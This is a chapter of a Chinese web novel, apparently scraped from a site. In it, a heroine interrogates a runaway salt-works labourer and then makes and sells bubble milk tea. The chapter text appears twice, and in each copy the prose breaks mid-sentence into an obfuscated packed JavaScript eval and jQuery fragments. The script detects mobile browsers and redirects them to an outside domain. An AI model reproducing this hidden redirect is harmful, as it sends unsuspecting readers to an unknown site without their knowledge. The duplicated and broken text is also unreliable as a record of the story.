原源 作品
16. 奶茶
第十六章
晚上，好安善心大发，给谢宗林捎上一份荤汤。
“你是不是退烧了？”好安见他脸色明显好转，人也精神了不少。
谢宗林端着汤，点点头。
“病好了，你是不是该回家了。”好安旁敲侧击地问道：“对了，你家在哪？”
“家。”谢宗林闻言一愣，一些过去的人和事在脑中闪过。
“你哪里人？”好安再问道。
谢宗林正纠结着要不要说，就听见她继续道：“高田县的吗？”
谢宗林眼皮一跳，陡然抬头看向好安，戒备的神色再次在眼中浮现。
“你是在想我为什么知道？”好安漫不经心地笑了笑，说道：“我又不是瞎子。你那双脚一看就知道在哪里干过。”
“说吧，”好安语气先是温和，说到一半时，整个人突然凑上前去，眼神霎时变得尖锐无比，冷声道：“所以你是晒盐场的罪犯，还是……”
“我不是罪犯！”像是戳到了痛点，谢宗林猛地推开好安，大声说道：“我不是罪犯！”
“哦？”好安一副真的吗？我不信的模样。
“那你的脚为什么会这样。”
谢宗林曲着膝盖，一边捂着双脚，一边用力的把脚往后缩，像是要把什么见不得人的东西，永远的藏起来。
好安见他不开口，便开口道：“前几日，高田县晒盐场的官吏可是把村子和山里里里外外搜了一遍，指明了要找一男的。是你吧。”
好安说完，四周寂静无声，外头房顶上稻草滑落的声音都清晰可闻。
许久，谢宗林才开口说道：“是我。”
好安一下来了兴趣，好奇问道：“不是说进晒盐场的人都受过墨刑吗？你脸上怎么没有？”
谢宗林的脸线条流畅，不论是光洁的额头，还是瘦削的脸颊，没有一丝疤点。
谢宗林抬头看了好安一眼，思虑良久才缓慢说道：“进晒盐场的人确实会受墨刑。”
好安则从身上摸出一根冬瓜糖，边听边嚼。
“官府会统一刺好字，再把他们送进去。可我不是被送进来的，我是出生在晒盐场。晒盐场的官吏没有刺字的权利，所以我脸上没有。”
原来如此，这么一张好脸要是被刺字就可惜了。
“晒盐场还有女人？”
“一家老小都有。”
“你家是连坐？”
谢宗林沉默的点了点头。
连坐，能活着的，要么不是什么大罪，要么是边缘的人物，来凑数的。
因为重要的都连诛了。
“按照大晏律例，你这种情况，我没记错的话十岁以后服役几年就能回家了呀。”
好安来到这个世界还是借阅了不书，尤其律法条例。
“是，也不是。”谢宗林仰头，继续说道：“我祖父母，我父母，我哥哥嫂嫂都在晒盐场，我的家就在那，我能去哪，而且晒盐场不会让你走的。”
“你没有刺字，腿长在你身上。怎么走不得？”
谢宗林突然笑了起来，手里无意识的抓起几根稻草，死死的拧着，说道：“只要你在晒盐场出生，他们会强行把你迁入盐籍。盐，关乎民生，朝廷对盐户的管理极为严格。入盐户者，世代相承，不得变更。”
好安啧了一声，朝廷对盐户的管理她略知一二。
一个逃犯被逮到，诛。
一个盐丁逃跑被逮到，砍手断脚，只要没死救要继续干活。
以后的日子可以说得上是生不如死，还不如一刀嘎了，解脱。
“那你家人呢，你跑了他们在晒盐场不会有好下场。”
“他们，他们解脱了。”谢宗林双眼涣散，空洞无光，脸上却露出一副羡慕的神情。
先是年迈的祖母、祖父，一头载进卤水里再也没有醒来过。
接着是体弱多病的母亲，仅有的药渣熬了一遍又一遍，最后药汁比海水都清。
还有父亲、哥哥、嫂嫂，都是活活累死。
可他为什么还活着啊……
好安见他神色不妙，连忙岔开话题。
“……谢宗林，我刚刚说的听见没。”
好安喊了几声，见他都没有反应，便走了过去。
“啪”
“嘶——”
一巴掌结结实实的打在肩膀的伤口上。
“我刚刚说的听见没？”
“你是要拉我去报官吗？”
一个语气不耐烦，一个语气不想活。
“什么报官？”好安见谢宗林一副摆烂的模样莫名的火大，不爽道：“荤汤两文，今天四百零四文，记住没？”
“啊。”谢宗林愣住。
“记着还钱。在我这，钱没还完说再多都是屁话。”说着，还阴恻恻地威胁道：“不还完，我就去撅你祖坟。”
说完，好安拎着饭盒，脸色不佳地走出破屋，留下呆愣愣的谢宗林。
————
好安的牛还没送过来，但她已经搞到新鲜的水牛奶了。
村里周家的母牛昨日刚生下小牛，奶水充足。
水牛的产奶量不如奶牛，但只要照顾的好，泌乳期能持续有好几个月。
她卖冰粉还是赚了不少钱的，于是大手一挥，定了三个月的水牛奶，每日一桶，一桶十文。
第二日，鸡还没叫，周家就送来一桶。
新鲜的牛奶微微泛黄，好安立刻起灶开火，一边将茶叶高温冲泡，一边牛奶里加糖，大火快煮，煮到微烫即可。
茶叶充分浸泡后，好安没急着把它和牛奶融合，而是将茶焖上片刻，再用一空桶，把茶水在两个桶之间来回对拉。
她茶底选的是红茶，茶水在来回翻倒中不停的流动，不仅降低了茶温，还可以去涩，提高茶的口感。
做完这步，好安将茶水和牛奶和匀。这样奶、茶、糖三味才能更好的融合。
没有冰箱，好安照旧将奶茶悬放井中。
奶茶煮好只能算完工一半，还有小料还没煮，这可是奶茶的灵魂。
依旧是烧开水，放红糖化开，关火，再少量多次的加入玉米淀粉，迅速揉捏成团。
面团呈棕色，表面光滑，好安先用刀将它切成小条，再揪成小丁，然后搓成一个个小小的黑珍珠。
很快，黑珍珠便堆满一碗。最磨人的一道工序结束了，好安起身简单的活动一下筋骨，又烧了一大锅水。
水开后倒入珍珠，为防止粘连，好安手不停的搅拌，直到珍珠全部上浮。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950796|160922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
饺子上浮代表熟了，珍珠上浮代表刚开始。
好安赶紧把大火调成中火，一边煮一边搅。
“姐姐，你在干什么？”天边刚刚露白，好安打着哈欠，睡眼惺忪地问道。
“在准备赚大钱。”好安冲好昕笑道。
厨房里蒸汽四起，好昕凑到灶前，只能模糊地看见锅里面有一团黑色的东西。
“这是好吃的吗？”好昕问道。
“对，叫珍珠。”
“珍珠可以吃吗？”好昕不解。
“能不能吃你马上就知道啦。”
这次搓的珍珠不大，好安舀起一勺见已经煮得差不多了便熄火了灶台里的火，盖上盖子，焖它。
“快去洗漱，准备吃饭。”好安端起两碗面疙瘩，说道：“姐姐今天忙，吃完你去给破屋里哪个送早饭。”
好安现在想起谢宗林昨晚那要死不活的模样还一肚子气。
她居然花了这么多钱救一个不想活的人！
好气哦，越想越气。
“你到那敲敲门，把饭放门口就行，别搭理他。”
好昕不解，问道：“他是坏人吗？”
“额——”好安一时顿住，谢宗林目前看着不坏，但他总是情绪低落，四周气场也十分消极，隐隐有厌世的苗头，于是说道：“他思想不积极。”
饭后，好安继续熬煮珍珠，好昕则接过姐姐的任务，去破屋送饭。
谢宗林估摸着上次也是这个时间给他送饭，便坐到窗边，不时的朝外看去，结果只看到一个从来没见过的小男孩拎着熟悉的饭盒朝这走来。
他看小男孩也不说话，放下饭，敲了敲门便离开了。
“小子，昨天给我送饭的人呢？”谢宗林忍不住问道。
好昕一下顿住，犹豫了片刻，还是转过身，大声说道：“我姐姐说你思想不积极，不让我搭理你。”说完便撒腿跑了。
谢宗林一下愣住，一时说不出话来。
不积极。
他自从醒来后好像就一直缩在这个屋子里，哪也不想去。心里一边恨着自己在晒盐场受过的苦，一边又想着晒盐场的日子。
不停的抱怨，不满，却从来没有伸手改变……
————
珍珠焖完后变得透明，为了让它更有嚼劲，好安过了三四遍冷水才和红糖浆一起下锅，小火熬煮，直至浓稠。
虽加了新品，但冰粉也没撤下，只是一桶半换成了一桶。
珍珠奶茶一推出便在学生之间迅速传开，哪怕十文一筒，也有很多人争相购买。
它比冰粉方便，一个竹筒配上一根芦苇吸管，想带哪去就带哪去。
小料的选择也多。
多付两文可以加半份冰粉，多付三文可以加一份红糖珍珠。
加满料的奶茶轻抿一口，不仅有牛奶的丝滑浓厚，还有红茶的饱满香醇。甜滋滋的珍珠软糯香甜，滑嫩嫩的冰粉仿佛入口即化。
赵瑾轩身为好安铺子的忠实爱好者，奶茶一开售便买了四筒别在腰间。
一筒什么都不加，一筒加冰粉，一筒加红糖珍珠，还有一筒什么都加。
下午困了，来上几口，晚上累了，来上一筒。只要有奶茶，他觉得他可以学到天荒地老！
晚上，好安善心大发，给谢宗林捎上一份荤汤。
“你是不是退烧了？”好安见他脸色明显好转，人也精神了不少。
谢宗林端着汤，点点头。
“病好了，你是不是该回家了。”好安旁敲侧击地问道：“对了，你家在哪？”
“家。”谢宗林闻言一愣，一些过去的人和事在脑中闪过。
“你哪里人？”好安再问道。
谢宗林正纠结着要不要说，就听见她继续道：“高田县的吗？”
谢宗林眼皮一跳，陡然抬头看向好安，戒备的神色再次在眼中浮现。
“你是在想我为什么知道？”好安漫不经心地笑了笑，说道：“我又不是瞎子。你那双脚一看就知道在哪里干过。”
“说吧，”好安语气先是温和，说到一半时，整个人突然凑上前去，眼神霎时变得尖锐无比，冷声道：“所以你是晒盐场的罪犯，还是……”
“我不是罪犯！”像是戳到了痛点，谢宗林猛地推开好安，大声说道：“我不是罪犯！”
“哦？”好安一副真的吗？我不信的模样。
“那你的脚为什么会这样。”
谢宗林曲着膝盖，一边捂着双脚，一边用力的把脚往后缩，像是要把什么见不得人的东西，永远的藏起来。
好安见他不开口，便开口道：“前几日，高田县晒盐场的官吏可是把村子和山里里里外外搜了一遍，指明了要找一男的。是你吧。”
好安说完，四周寂静无声，外头房顶上稻草滑落的声音都清晰可闻。
许久，谢宗林才开口说道：“是我。”
好安一下来了兴趣，好奇问道：“不是说进晒盐场的人都受过墨刑吗？你脸上怎么没有？”
谢宗林的脸线条流畅，不论是光洁的额头，还是瘦削的脸颊，没有一丝疤点。
谢宗林抬头看了好安一眼，思虑良久才缓慢说道：“进晒盐场的人确实会受墨刑。”
好安则从身上摸出一根冬瓜糖，边听边嚼。
“官府会统一刺好字，再把他们送进去。可我不是被送进来的，我是出生在晒盐场。晒盐场的官吏没有刺字的权利，所以我脸上没有。”
原来如此，这么一张好脸要是被刺字就可惜了。
“晒盐场还有女人？”
“一家老小都有。”
“你家是连坐？”
谢宗林沉默的点了点头。
连坐，能活着的，要么不是什么大罪，要么是边缘的人物，来凑数的。
因为重要的都连诛了。
“按照大晏律例，你这种情况，我没记错的话十岁以后服役几年就能回家了呀。”
好安来到这个世界还是借阅了不书，尤其律法条例。
“是，也不是。”谢宗林仰头，继续说道：“我祖父母，我父母，我哥哥嫂嫂都在晒盐场，我的家就在那，我能去哪，而且晒盐场不会让你走的。”
“你没有刺字，腿长在你身上。怎么走不得？”
谢宗林突然笑了起来，手里无意识的抓起几根稻草，死死的拧着，说道：“只要你在晒盐场出生，他们会强行把你迁入盐籍。盐，关乎民生，朝廷对盐户的管理极为严格。入盐户者，世代相承，不得变更。”
好安啧了一声，朝廷对盐户的管理她略知一二。
一个逃犯被逮到，诛。
一个盐丁逃跑被逮到，砍手断脚，只要没死救要继续干活。
以后的日子可以说得上是生不如死，还不如一刀嘎了，解脱。
“那你家人呢，你跑了他们在晒盐场不会有好下场。”
“他们，他们解脱了。”谢宗林双眼涣散，空洞无光，脸上却露出一副羡慕的神情。
先是年迈的祖母、祖父，一头载进卤水里再也没有醒来过。
接着是体弱多病的母亲，仅有的药渣熬了一遍又一遍，最后药汁比海水都清。
还有父亲、哥哥、嫂嫂，都是活活累死。
可他为什么还活着啊……
好安见他神色不妙，连忙岔开话题。
“……谢宗林，我刚刚说的听见没。”
好安喊了几声，见他都没有反应，便走了过去。
“啪”
“嘶——”
一巴掌结结实实的打在肩膀的伤口上。
“我刚刚说的听见没？”
“你是要拉我去报官吗？”
一个语气不耐烦，一个语气不想活。
“什么报官？”好安见谢宗林一副摆烂的模样莫名的火大，不爽道：“荤汤两文，今天四百零四文，记住没？”
“啊。”谢宗林愣住。
“记着还钱。在我这，钱没还完说再多都是屁话。”说着，还阴恻恻地威胁道：“不还完，我就去撅你祖坟。”
说完，好安拎着饭盒，脸色不佳地走出破屋，留下呆愣愣的谢宗林。
————
好安的牛还没送过来，但她已经搞到新鲜的水牛奶了。
村里周家的母牛昨日刚生下小牛，奶水充足。
水牛的产奶量不如奶牛，但只要照顾的好，泌乳期能持续有好几个月。
她卖冰粉还是赚了不少钱的，于是大手一挥，定了三个月的水牛奶，每日一桶，一桶十文。
第二日，鸡还没叫，周家就送来一桶。
新鲜的牛奶微微泛黄，好安立刻起灶开火，一边将茶叶高温冲泡，一边牛奶里加糖，大火快煮，煮到微烫即可。
茶叶充分浸泡后，好安没急着把它和牛奶融合，而是将茶焖上片刻，再用一空桶，把茶水在两个桶之间来回对拉。
她茶底选的是红茶，茶水在来回翻倒中不停的流动，不仅降低了茶温，还可以去涩，提高茶的口感。
做完这步，好安将茶水和牛奶和匀。这样奶、茶、糖三味才能更好的融合。
没有冰箱，好安照旧将奶茶悬放井中。
奶茶煮好只能算完工一半，还有小料还没煮，这可是奶茶的灵魂。
依旧是烧开水，放红糖化开，关火，再少量多次的加入玉米淀粉，迅速揉捏成团。
面团呈棕色，表面光滑，好安先用刀将它切成小条，再揪成小丁，然后搓成一个个小小的黑珍珠。
很快，黑珍珠便堆满一碗。最磨人的一道工序结束了，好安起身简单的活动一下筋骨，又烧了一大锅水。
水开后倒入珍珠，为防止粘连，好安手不停的搅拌，直到珍珠全部上浮。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950796|160922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
饺子上浮代表熟了，珍珠上浮代表刚开始。
好安赶紧把大火调成中火，一边煮一边搅。
“姐姐，你在干什么？”天边刚刚露白，好安打着哈欠，睡眼惺忪地问道。
“在准备赚大钱。”好安冲好昕笑道。
厨房里蒸汽四起，好昕凑到灶前，只能模糊地看见锅里面有一团黑色的东西。
“这是好吃的吗？”好昕问道。
“对，叫珍珠。”
“珍珠可以吃吗？”好昕不解。
“能不能吃你马上就知道啦。”
这次搓的珍珠不大，好安舀起一勺见已经煮得差不多了便熄火了灶台里的火，盖上盖子，焖它。
“快去洗漱，准备吃饭。”好安端起两碗面疙瘩，说道：“姐姐今天忙，吃完你去给破屋里哪个送早饭。”
好安现在想起谢宗林昨晚那要死不活的模样还一肚子气。
她居然花了这么多钱救一个不想活的人！
好气哦，越想越气。
“你到那敲敲门，把饭放门口就行，别搭理他。”
好昕不解，问道：“他是坏人吗？”
“额——”好安一时顿住，谢宗林目前看着不坏，但他总是情绪低落，四周气场也十分消极，隐隐有厌世的苗头，于是说道：“他思想不积极。”
饭后，好安继续熬煮珍珠，好昕则接过姐姐的任务，去破屋送饭。
谢宗林估摸着上次也是这个时间给他送饭，便坐到窗边，不时的朝外看去，结果只看到一个从来没见过的小男孩拎着熟悉的饭盒朝这走来。
他看小男孩也不说话，放下饭，敲了敲门便离开了。
“小子，昨天给我送饭的人呢？”谢宗林忍不住问道。
好昕一下顿住，犹豫了片刻，还是转过身，大声说道：“我姐姐说你思想不积极，不让我搭理你。”说完便撒腿跑了。
谢宗林一下愣住，一时说不出话来。
不积极。
他自从醒来后好像就一直缩在这个屋子里，哪也不想去。心里一边恨着自己在晒盐场受过的苦，一边又想着晒盐场的日子。
不停的抱怨，不满，却从来没有伸手改变……
————
珍珠焖完后变得透明，为了让它更有嚼劲，好安过了三四遍冷水才和红糖浆一起下锅，小火熬煮，直至浓稠。
虽加了新品，但冰粉也没撤下，只是一桶半换成了一桶。
珍珠奶茶一推出便在学生之间迅速传开，哪怕十文一筒，也有很多人争相购买。
它比冰粉方便，一个竹筒配上一根芦苇吸管，想带哪去就带哪去。
小料的选择也多。
多付两文可以加半份冰粉，多付三文可以加一份红糖珍珠。
加满料的奶茶轻抿一口，不仅有牛奶的丝滑浓厚，还有红茶的饱满香醇。甜滋滋的珍珠软糯香甜，滑嫩嫩的冰粉仿佛入口即化。
赵瑾轩身为好安铺子的忠实爱好者，奶茶一开售便买了四筒别在腰间。
一筒什么都不加，一筒加冰粉，一筒加红糖珍珠，还有一筒什么都加。
下午困了，来上几口，晚上累了，来上一筒。只要有奶茶，他觉得他可以学到天荒地老！